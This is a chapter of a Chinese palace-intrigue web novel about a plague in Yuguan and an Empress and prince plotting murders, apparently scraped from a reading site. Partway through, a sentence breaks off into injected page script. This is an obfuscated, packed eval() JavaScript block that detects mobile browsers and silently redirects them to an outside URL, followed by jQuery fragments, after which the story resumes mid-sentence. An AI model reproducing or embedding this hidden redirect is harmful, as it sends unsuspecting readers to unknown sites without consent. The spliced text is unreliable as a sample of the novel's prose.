雨水将他整个人都浸透，湿哒哒的袍子贴在他身上，和着他的冷汗，粘腻潮湿。


    他面色潮红，额头烫得嚇人，发丝一颗颗往下滴水，粘连肌肤，惹得他难受喘息。


    “阿遇，阿遇......”陆明的手在空中虚虚地抓，意识开始混沌。


    医师拿草药熏过自己，将自己包得严严实实，这才开始给陆明检查。


    “是疫病引发的高热，去备药。”为首的医师面色凝重，虽做好防护，捏着针的手还是颤抖。


    无关人员被遣散，与陆明直接接触的那几名侍从登时被隔离，天空的黑云如工笔画中险峻的群山，层层叠叠地压过来，叫人喘不过气。


    如今可解疫病的药尚未研制出，医师便只能开些退热定神的方子，暂时吊着他的性命。


    望着窗外急躁的雨，程知遇的心也不由得烦躁起来，侍从来禀，她的心便彻底坠入谷底。


    “隔壁的老头呢，你们带走了吗？”程知遇平复心情，尽量用平静的语气同那侍从说话。


    那侍从压根没把她的话当回事儿，再加上方才着急，哪儿顾得上传达。


    程知遇见他神情慌乱，登时猜出了他的作为，神色焦急地从床沿站起，“那就现在赶紧带他过去！”


    隔壁的老头刚想开口骂，便被程知遇一声怒吼吓破了胆子。


    “狗卓一你别装死！”程知遇一脚踹在墙壁上，目眦欲裂，“陆明活，你就活；陆明死，你跟着一块死！！！”卓一老头在墙的另一半，看着墙轻微晃动更是心生恐惧。


    便忙不迭地应声，“哎哎哎，救，救，没说不救！”


    *


    中宫雅殿，台上供奉的香静静燃着，烟雾缭绕模糊了皇后的面目。菩萨在上，她在手中滚着念珠，额心一点殷红，如血般纯净，垂着玉颈，神情虔诚而平静。


    大皇子赵暥恭敬侍候在一旁，手上提着的灯闪着微弱的光亮，照出他凌厉眉眼中的杀气腾腾。


    不知过了良久，殿外淅淅沥沥的雨声扰乱了皇后的节奏，她眉头紧蹙，缓缓睁开双眸。


    岁月在她脸上没有留下多少痕迹，凤眸微挑带着凉薄，她将唇涂得很乍眼，像吃人的血红，唇瓣一抿，随手将念珠再带回腕上。


    她微抬起精巧的下颌，头上点翠坠珠的冠子轻轻摇曳，栩栩如生的凤纹盘在翠鸟之间，更显她冷艳。


    “嬢嬢，您在为谁祈福？”赵暥目光停在那无字的牌位上，见她睁开了眼，连忙起身恭敬将人扶起。


    皇后的手掌压在凤袍上，神色淡漠轻笑，“谁知道呢？”


    她扶着赵暥的手臂缓缓站起身，青底霞帔自肩膀延申到身后，垂挂而下，末了的玉坠摇晃，稳稳地压在衣摆上。


    “不知，是你第几个手足兄弟，但总归，是没压住福气。”皇后的语气轻描淡写，纤长手指抚了抚鬓边的熠熠生辉的珍珠坠子，问他，“瞧瞧，好看吗？”


    赵暥顺着看去，那颗颗饱满圆润的珠子在灯下折出青紫色，瞧着眼睛都花了，自然敛眸道：“好看。”他稍顿，似是想明白什么，倏然试探开口，“倒像前几日，爹爹赏给淑妃那盒南湖串珠。”


    皇后闻言唇角渐深，“就是那盒。”她听出了赵暥的试探，却也不恼，慢条斯理地提着袍子走，声音平平，“淑妃的肚子不争气，留不住龙种，自然，也留不住官家的心。”


    “这宫中向来捧高踩低，无能者，人人践踏。利之所趋，情之所在。无利可图，自然——也无人拥簇。”


    “予只是，讨件战利品，有何不可？”她蓦然顿住脚步，回眸看他，伸手轻点嫣红唇瓣，美得惊心动魄，“敬可，予这是在替你谋划。”


    面目慈悲的菩萨座下，供奉着十余只无名牌位，漆红的颜色宛如血染，与洁净的玉菩萨对比显然。


    皇后腕上挂着念珠，凤冠霞帔却尽显奢靡，她仰头直视着菩萨的面容，轻弯唇角，眸中没有分毫敬重。


    “敬可，你也拜拜。叫他们保佑你，杀出重围。”她的声音宛如危险又美丽罂粟花，听得叫人脊骨发寒。


    赵暥毫不迟疑，他撩袍跪在适才皇后跪坐的位置，双手合十跪拜。


    殿中只有母子二人，皇后站在赵暥身后，好似能瞧见那无名排位上一个个婴孩的亡魂，她却不怕，畅然勾着唇角笑。


    殿外大雨冲刷着台阶，雨水哗哗汇成溪流从阶上宣泄下去。


    “听说榆关发洪了。”赵暥拜完，亲手为皇后斟了一盏茶，茶叶在淡褐色的茶液中起起伏伏，倒叫皇后生出几分意兴。


    “官家打算如何决断？”皇后问了一嘴。


    “不打算。”赵暥悠然回应，好似不少在谈生死，而是在谈一顿再简单不过的晚膳，“还没传到官家那，便被人拦了。四哥儿上回逼死九哥儿不成，这回把矛头对向六哥儿了。”


    四皇子赵俨之前妄图借隐月诬陷九皇子赵康，不成想阴差阳错叫程知遇挡了回去。只可惜，这天下没有不透风的墙，赵康都快要气炸了，奈何抓不住赵俨的把柄，只得打落牙齿和血吞。


    此事传到官家耳朵里，他却只作是兄弟间的胡闹，睁一只眼闭一只眼并不打算管。


    皇权斗争，向来如此。


    赵俨是韫淑仪所出，虽平日温而疏离，母子俩显得多不食烟火，骨子里却是好斗的。


    韫淑仪这个人，向来不是坐以待毙的角色，她教导的皇子又怎肯任人宰割？


    皇后优雅地端起茶盏浅啜，升腾起的雾气遮掩住她眸中的冷漠，好似预料到了结果，并不意外地问，“死了多少？”


    “不知......”赵暥垂眸，顿了顿，站着为自己斟了一盏，“只知还带了疫病，想必，不在少数。冀州知州都未能幸免于难。”


    听见死人，皇后眼中没有半分怜悯，轻轻摇晃茶盏冷嘲，“是那个叫陈文忠的？哈，不懂变通的榆木脑袋，死了便死了罢。”


    “若予记得不错，其子陈德清陈督护，与六哥儿赵暄交好，二人整日吟花颂月、泼墨挥毫，不成样子。那赵暄的生母，姜婕妤，也是个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223478|163153||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拎不清的，整日跟在毓贵妃后头作威作福。”皇后将茶盏放回几案上，圆润的指腹缓缓擦着杯沿画圈。


    “若不是姜婕妤摊上个好哥哥，由那户部尚书姜甫为她兜底，早不知在后宫死上几回了。”皇后的言语间带着嘲讽之意，纤长的睫毛卷翘，显得慈悲面容多了分狐狸相。


    “这疫病说大不大，说小，倒也不小。”皇后抿唇思忖着，“陈文忠病倒，那陈德清定会前往榆关主持大局，不如......”


    她抬抬手，在凑近的赵暥耳畔轻语。


    赵暥颔首，重新落回位子，他抬起面前的茶盏一敬，眼眸隔着雾气都抵挡不住杀意，仰头一饮而尽。


    他放下茶盏，下意识摩挲着指节上带着的玉似的扳指，那扳指不透亮，乳白的颜色泛着森森寒气。


    “孩儿最喜——”


    “借刀杀人。”


    *


    大雨倾盆，骏马在水洼中奔驰，踏起层层水浪。马上那人披着蓑衣，鼻梁高挺沾染些许雨滴，宽大的手勒住缰绳，任由雨滴顺着脖颈滑到衣领。


    前马蹄在空中腾起，一阵嘶鸣，他飞身下马，扬手摘了斗笠，抬眸看向被浇得泥泞不堪的榆关官路。


    “如何了？”陈德清探身走进屋子，脸上没有丝毫对父亲的担忧之色，只是身上狼狈，雨水顺着衣角往下淌，这才显出他的几分焦急。


    屋内一众人冲他拱手，不等他再说些什么，苏青便站出来，抱着胳膊道：“陈知州现已患疫，且亲身试药......并无效果，反倒上吐下泻，精神萎.靡。”


    陈德清抬手制止他，“我问的，是百姓。”他小麦色的肌肤是常年奔走晒成的，高挺的鼻梁与陈文忠如出一辙。


    苏青瞧着这张与陈文忠七分相似的脸，一股无名火从心底升腾，苏青想破口大骂，碍着脸面，只是阴沉着脸没好气地回禀，“榆关百姓共九千三百余人，如今染疫的百姓约有四千四，因疫死亡一千九，因洪死亡八百。而因疫死亡的一千九百余名中，有七成是因得不到及时救治而亡，但到现在，和剂局也没拿出个正经方子。”


    “陈知州征用了榆关的空屋，每间隔开将还未染疫的百姓隔开。已经患疫的，则隔到另外的位置，并封锁了来往的路，只能进不能出，这才堪堪控制疫病。”


    陈德清微微沉思，这情况，比他想得还要棘手。他心中担忧着父亲，却更是担忧百姓。面上不显，只缓缓开口，“我此次前来，是带了六殿下麾下幕僚，有名的卓一大师前来，定能挽救榆关于水火，诸位不必担忧。”


    “那就全仰仗陈大人了。”苏青皮笑肉不笑地奉承道，一边说，边在心里暗骂。脸像，死脑筋像，这股子装劲儿更像。


    “苏大人！”几人话音刚落，一股侍从匆匆忙忙地跑过来，身后跟着一个不修边幅的老头。


    那侍从将人留在门外檐下，自己慌张进来，抬眼紧张地瞧了一眼陌生的陈德清，躬身禀报，“有位东京程府的小娘子说，她带了卓一大师，可为榆关解燃眉之急。”